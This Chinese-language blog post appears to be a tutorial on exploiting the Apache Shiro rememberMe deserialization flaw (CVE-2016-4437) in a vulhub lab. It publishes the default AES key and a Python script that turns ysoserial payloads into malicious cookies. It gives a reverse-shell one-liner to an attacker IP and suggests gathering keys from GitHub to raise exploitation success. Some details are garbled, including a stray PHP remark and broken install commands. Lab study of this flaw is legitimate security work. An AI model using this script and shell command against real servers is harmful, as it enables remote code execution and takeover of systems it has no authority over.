Shiro框架漏洞总结

一、shiro框架简介:

     Apache Shiro是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。

二、shiro漏洞原理:

     Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RemeberMe,cookie的值是经过对相关信息进行序列化,然后使用了aes加密,最后在使用base64编码处理形成的。

在服务端接收cookie值时,按以下步骤解析:

检索RemeberMe cooki的值

Base64解码

使用ACE解密(加密密钥为硬编码)

进行反序列化操作(未作过滤处理)

因为在调用反序列化的时候未进行任何过滤,导致可以触发远程代码执行漏洞。

用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。

所以,攻击者只要找到AES的加密密钥,就可以构造一个恶意的对象,对其序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

三、Shiro序列化利用条件

由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

目前已经更新了很多版本,但是官方并没有把反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。例如Guns开源框架内部集成了shiro并进行二次开发,作者自定义密钥并固定,此时用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。这里可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。

如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。

四、Shiro漏洞指纹

 在请求包的Cookie中为rememberMe字段赋任意值,返回包中存在set-Cookie:remeberMe=deleteMe

URL中有shiro字样

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可

 五、靶场搭建

 我们需要准备一台虚拟机,这台虚拟机里面必须装有docker,这台虚拟机为靶机,然后用docker去拉取vulhub靶场,以vulhub靶场中的CVE-2016-4437漏洞为例,docker安装教程与靶场拉取教程:Vulhub - Docker-Compose file for vulnerability environment

六、漏洞攻击

  1. 可以使用shiro反序列化工具去找key攻击:

  2. 也可以自己构造poc或者去网上寻找poc,文章末尾会附上工具
    先安装python环境,在这个poc脚本涉及了两个第三方库需要自行安装:
    pip installrequests
    pip install -ihttps://pypi.douban.com/simplepycryptodome

    安装完成后可以使用poc构造恶意payload:
     

    import sys
    
    import uuid
    
    import base64
    
    import subprocess
    
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar','JRMPClient', command], stdout=subprocess.PIPE)      //这里使用了ysoserial工具包,它**了各种java反序列化payload,主要有CommonsCollections1-5、JRMPClient等模块
    
    BS = AES.block_size
    
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %BS)).encode()
    
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    
    iv = uuid.uuid4().bytes
    
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    
    file_body = pad(popen.stdout.read())
    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    
    return base64_ciphertext
    
    if __name__ == '__main__':
    
    payload = encode_rememberme(sys.argv[1]) 
    
    print"rememberMe={0}".format(payload.decode())

    目标ip:192.168.23.168
    攻击ip:192.168.23.193
     

    bash -i>& /dev/tcp/192.168.99.174/2333 0>&1

    因为java环境不支持管道符、输入输出重定向等,因此我们需要提前通过Java Runtime配合 bash 进行编码:
     

  3. 此处我们使用JRMPClient模块来构造恶意命令的cookie:

  4.  在攻击机器监听2333端口:
     

  5. 将反弹shell处理后发送到目标机器,这里需要使用CommonsCollections2模块:

  6. 将上面生成的恶意cookie值替换目标网站抓包后的remeberMe,然后放包:
     

  7. ​查看攻击机器,已经获取到shell:
     

七、参考工具与文献

链接:https://pan.baidu.com/s/1nCdPc0RarG9YZIVb_a-E9w

提取码:hn6o

八、免责声明

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇

)">
下一篇>>